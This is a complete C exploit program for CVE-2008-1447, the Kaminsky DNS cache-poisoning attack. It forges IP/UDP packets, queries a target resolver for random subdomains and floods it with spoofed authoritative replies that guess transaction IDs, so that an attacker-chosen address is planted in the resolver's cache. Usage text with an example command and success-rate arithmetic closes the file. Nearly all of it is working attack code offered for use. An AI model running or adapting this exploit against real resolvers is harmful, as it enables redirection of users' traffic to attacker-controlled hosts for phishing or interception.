bind9x-poison.txt

`/*  
* Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack  
*  
* Compilation:  
* $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config --libs` -lm  
*  
* Dependency: libdnet (aka libdumbnet-dev under Ubuntu)  
*  
* Author: marc.bevand at rapid7 dot com  
*/  
  
#define _BSD_SOURCE  
  
#include <sys/types.h>  
#include <err.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <math.h>  
#include <time.h>  
#include <unistd.h>  
#include <dumbnet.h>  
  
#define DNSF_RESPONSE (1<<15)  
#define DNSF_AUTHORITATIVE (1<<10)  
#define DNSF_REC_DESIRED (1<<8)  
#define DNSF_REC_AVAILABLE (1<<7)  
  
#define TYPE_A 0x1  
#define TYPE_NS 0x2  
#define CLASS_IN 0x1  
  
struct dns_pkt  
{  
uint16_t txid;  
uint16_t flags;  
uint16_t nr_quest;  
uint16_t nr_ans;  
uint16_t nr_auth;  
uint16_t nr_add;  
} __attribute__ ((__packed__));  
  
void format_domain(u_char *buf, unsigned size, unsigned *len, const char *name)  
{  
unsigned bufi, i, j;  
bufi = i = j = 0;  
while (name[i])  
{  
if (name[i] == '.')  
{  
if (bufi + 1 + (i - j) > size)  
fprintf(stderr, "format_domain overflow\n"), exit(1);  
buf[bufi++] = i - j;  
memcpy(buf + bufi, name + j, i - j);  
bufi += i - j;  
j = i + 1;  
}  
i++;  
}  
if (bufi + 1 + 2 + 2 > size)  
fprintf(stderr, "format_domain overflow\n"), exit(1);  
buf[bufi++] = 0;  
*len = bufi;  
}  
  
void format_qr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class)  
{  
uint16_t tmp;  
// name  
format_domain(buf, size, len, name);  
// type  
tmp = htons(type);  
memcpy(buf + *len, &tmp, sizeof (tmp));  
*len += sizeof (tmp);  
// class  
tmp = htons(class);  
memcpy(buf + *len, &tmp, sizeof (tmp));  
*len += sizeof (tmp);  
}  
  
void format_rr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class, uint32_t ttl, const char *data)  
{  
format_qr(buf, size, len, name, type, class);  
// ttl  
ttl = htonl(ttl);  
memcpy(buf + *len, &ttl, sizeof (ttl));  
*len += sizeof (ttl);  
// data length + data  
uint16_t dlen;  
struct addr addr;  
switch (type)  
{  
case TYPE_A:  
dlen = sizeof (addr.addr_ip);  
break;  
case TYPE_NS:  
dlen = strlen(data) + 1;  
break;  
default:  
fprintf(stderr, "format_rr: unknown type %02x", type);  
exit(1);  
}  
dlen = htons(dlen);  
memcpy(buf + *len, &dlen, sizeof (dlen));  
*len += sizeof (dlen);  
// data  
unsigned len2;  
switch (type)  
{  
case TYPE_A:  
if (addr_aton(data, &addr) < 0)  
fprintf(stderr, "invalid destination IP: %s", data), exit(1);  
memcpy(buf + *len, &addr.addr_ip, sizeof (addr.addr_ip));  
*len += sizeof (addr.addr_ip);  
break;  
case TYPE_NS:  
format_domain(buf + *len, size - *len, &len2, data);  
*len += len2;  
break;  
default:  
fprintf(stderr, "format_rr: unknown type %02x", type);  
exit(1);  
}  
}  
  
void dns_query(u_char *buf, unsigned size, unsigned *len, uint16_t txid, uint16_t flags, const char *name)  
{  
u_char *out = buf;  
struct dns_pkt p = {  
.txid = htons(txid),  
.flags = htons(flags),  
.nr_quest = htons(1),  
.nr_ans = htons(0),  
.nr_auth = htons(0),  
.nr_add = htons(0),  
};  
u_char qr[256];  
unsigned l;  
format_qr(qr, sizeof (qr), &l, name, TYPE_A, CLASS_IN);  
if (sizeof (p) + l > size)  
fprintf(stderr, "dns_query overflow"), exit(1);  
memcpy(out, &p, sizeof (p));  
out += sizeof (p);  
memcpy(out, qr, l);  
out += l;  
*len = sizeof (p) + l;  
}  
  
void dns_response(u_char *buf, unsigned size, unsigned *len,  
uint16_t txid, uint16_t flags,  
const char *q_name, const char *q_ip,  
const char *domain, const char *auth_name, const char *auth_ip)  
{  
u_char *out = buf;  
u_char *end = buf + size;  
u_char rec[256];  
unsigned l_rec;  
uint32_t ttl = 24*3600;  
struct dns_pkt p = {  
.txid = htons(txid),  
.flags = htons(flags),  
.nr_quest = htons(1),  
.nr_ans = htons(1),  
.nr_auth = htons(1),  
.nr_add = htons(1),  
};  
(void)domain;  
*len = 0;  
if (out + *len + sizeof (p) > end)  
fprintf(stderr, "dns_response overflow"), exit(1);  
memcpy(out + *len, &p, sizeof (p)); *len += sizeof (p);  
// queries  
format_qr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN);  
if (out + *len + l_rec > end)  
fprintf(stderr, "dns_response overflow"), exit(1);  
memcpy(out + *len, rec, l_rec); *len += l_rec;  
// answers  
format_rr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN,  
ttl, q_ip);  
if (out + *len + l_rec > end)  
fprintf(stderr, "dns_response overflow"), exit(1);  
memcpy(out + *len, rec, l_rec); *len += l_rec;  
// authoritative nameservers  
format_rr(rec, sizeof (rec), &l_rec, domain, TYPE_NS, CLASS_IN,  
ttl, auth_name);  
if (out + *len + l_rec > end)  
fprintf(stderr, "dns_response overflow"), exit(1);  
memcpy(out + *len, rec, l_rec); *len += l_rec;  
// additional records  
format_rr(rec, sizeof (rec), &l_rec, auth_name, TYPE_A, CLASS_IN,  
ttl, auth_ip);  
if (out + *len + l_rec > end)  
fprintf(stderr, "dns_response overflow"), exit(1);  
memcpy(out + *len, rec, l_rec); *len += l_rec;  
}  
  
unsigned build_query(u_char *buf, const char *srcip, const char *dstip, const char *name)  
{  
unsigned len = 0;  
// ip  
struct ip_hdr *ip = (struct ip_hdr *)buf;  
ip->ip_hl = 5;  
ip->ip_v = 4;  
ip->ip_tos = 0;  
ip->ip_id = rand() & 0xffff;  
ip->ip_off = 0;  
ip->ip_ttl = IP_TTL_MAX;  
ip->ip_p = 17; // udp  
ip->ip_sum = 0;  
struct addr addr;  
if (addr_aton(srcip, &addr) < 0)  
fprintf(stderr, "invalid source IP: %s", srcip), exit(1);  
ip->ip_src = addr.addr_ip;  
if (addr_aton(dstip, &addr) < 0)  
fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);  
ip->ip_dst = addr.addr_ip;  
// udp  
struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);  
udp->uh_sport = htons(1234);  
udp->uh_dport = htons(53);  
// dns  
dns_query(buf + IP_HDR_LEN + UDP_HDR_LEN,  
(unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,  
rand(), DNSF_REC_DESIRED, name);  
// udp len  
len += UDP_HDR_LEN;  
udp->uh_ulen = htons(len);  
// ip len & cksum  
len += IP_HDR_LEN;  
ip->ip_len = htons(len);  
ip_checksum(buf, len);  
return len;  
}  
  
unsigned build_response(u_char *buf, const char *srcip, const char *dstip,  
uint16_t port_resolver, uint16_t txid,  
const char *q_name, const char *q_ip,  
const char *domain, const char *auth_name, const char *auth_ip)  
{  
unsigned len = 0;  
// ip  
struct ip_hdr *ip = (struct ip_hdr *)buf;  
ip->ip_hl = 5;  
ip->ip_v = 4;  
ip->ip_tos = 0;  
ip->ip_id = rand() & 0xffff;  
ip->ip_off = 0;  
ip->ip_ttl = IP_TTL_MAX;  
ip->ip_p = 17; // udp  
ip->ip_sum = 0;  
struct addr addr;  
if (addr_aton(srcip, &addr) < 0)  
fprintf(stderr, "invalid source IP: %s", srcip), exit(1);  
ip->ip_src = addr.addr_ip;  
if (addr_aton(dstip, &addr) < 0)  
fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);  
ip->ip_dst = addr.addr_ip;  
// udp  
struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);  
udp->uh_sport = htons(53);  
udp->uh_dport = htons(port_resolver);  
// dns  
dns_response(buf + IP_HDR_LEN + UDP_HDR_LEN,  
(unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,  
txid, DNSF_RESPONSE | DNSF_AUTHORITATIVE,  
q_name, q_ip, domain, auth_name, auth_ip);  
// udp len  
len += UDP_HDR_LEN;  
udp->uh_ulen = htons(len);  
// ip len & cksum  
len += IP_HDR_LEN;  
ip->ip_len = htons(len);  
ip_checksum(buf, len);  
return len;  
}  
  
void usage(char *name)  
{  
fprintf(stderr, "Usage: %s <ip-querier> <ip-resolver> <ip-authoritative> "  
"<port-resolver> <subhost> <domain> <any-ip> <attempts> <repl-per-attempt>\n"  
" <ip-querier> Source IP used when sending queries for random hostnames\n"  
" (typically your IP)\n"  
" <ip-resolver> Target DNS resolver to attack\n"  
" <ip-authoritative> One of the authoritative DNS servers for <domain>\n"  
" <port-resolver> Source port used by the resolver when forwarding queries\n"  
" <subhost> Poison the cache with the A record <subhost>.<domain>\n"  
" <domain> Domain name, see <subhost>.\n"  
" <any-ip> IP of your choice to be associated to <subhost>.<domain>\n"  
" <attempts> Number of poisoning attemps, more attempts increase the\n"  
" chance of successful poisoning, but also the attack time\n"  
" <repl-per-attempt> Number of spoofed replies to send per attempt, more replies\n"  
" increase the chance of successful poisoning but, but also\n"  
" the rate of packet loss\n"  
"Example:\n"  
" $ %s q.q.q.q r.r.r.r a.a.a.a 1234 pwned example.com. 1.1.1.1 8192 16\n"  
"This should cause a pwned.example.com A record resolving to 1.1.1.1 to appear\n"  
"in r.r.r.r's cache. The chance of successfully poisoning the resolver with\n"  
"this example (8192 attempts and 16 replies/attempt) is 86%%\n"  
"(1-(1-16/65536)**8192). This example also requires a bandwidth of about\n"  
"2.6 Mbit/s (16 replies/attempt * ~200 bytes/reply * 100 attempts/sec *\n"  
"8 bits/byte) and takes about 80 secs to complete (8192 attempts /\n"  
"100 attempts/sec).\n",  
name, name);  
}  
  
int main(int argc, char **argv)  
{  
if (argc != 10)  
usage(argv[0]), exit(1);  
const char *querier = argv[1];  
const char *ip_resolver = argv[2];  
const char *ip_authoritative = argv[3];  
uint16_t port_resolver = (uint16_t)strtoul(argv[4], NULL, 0);  
const char *subhost = argv[5];  
const char *domain = argv[6];  
const char *anyip = argv[7];  
uint16_t attempts = (uint16_t)strtoul(argv[8], NULL, 0);  
uint16_t replies = (uint16_t)strtoul(argv[9], NULL, 0);  
if (domain[strlen(domain) - 1 ] != '.')  
fprintf(stderr, "domain must end with dot(.): %s\n", domain), exit(1);  
printf("Chance of success: 1-(1-%d/65536)**%d = %.2f\n", replies, attempts, 1 - pow((1 - replies / 65536.), attempts));  
srand(time(NULL));  
int unique = rand() + (rand() << 16);  
u_char buf[IP_LEN_MAX];  
unsigned len;  
char name[256];  
char ns[256];  
ip_t *iph;  
if ((iph = ip_open()) == NULL)  
err(1, "ip_open");  
int cnt = 0;  
while (cnt < attempts)  
{  
// send a query for a random hostname  
snprintf(name, sizeof (name), "%08x%08x.%s", unique, cnt, domain);  
len = build_query(buf, querier, ip_resolver, name);  
if (ip_send(iph, buf, len) != len)  
err(1, "ip_send");  
// give the resolver enough time to forward the query and be in a state  
// where it waits for answers; sleeping 10ms here limits the number of  
// attempts to 100 per sec  
usleep(10000);  
// send spoofed replies, each reply contains:  
// - 1 query: query for the "random hostname"  
// - 1 answer: "random hostname" A 1.1.1.1  
// - 1 authoritative nameserver: <domain> NS <subhost>.<domain>  
// - 1 additional record: <subhost>.<domain> A <any-ip>  
snprintf(ns, sizeof (ns), "%s.%s", subhost, domain);  
unsigned r;  
for (r = 0; r < replies; r++)  
{  
// use a txid that is just 'r': 0..(replies-1)  
len = build_response(buf, ip_authoritative, ip_resolver,  
port_resolver, r, name, "1.1.1.1", domain, ns, anyip);  
if (ip_send(iph, buf, len) != len)  
err(1, "ip_send");  
}  
cnt++;  
}  
ip_close(iph);  
return 0;  
}  
  
  
`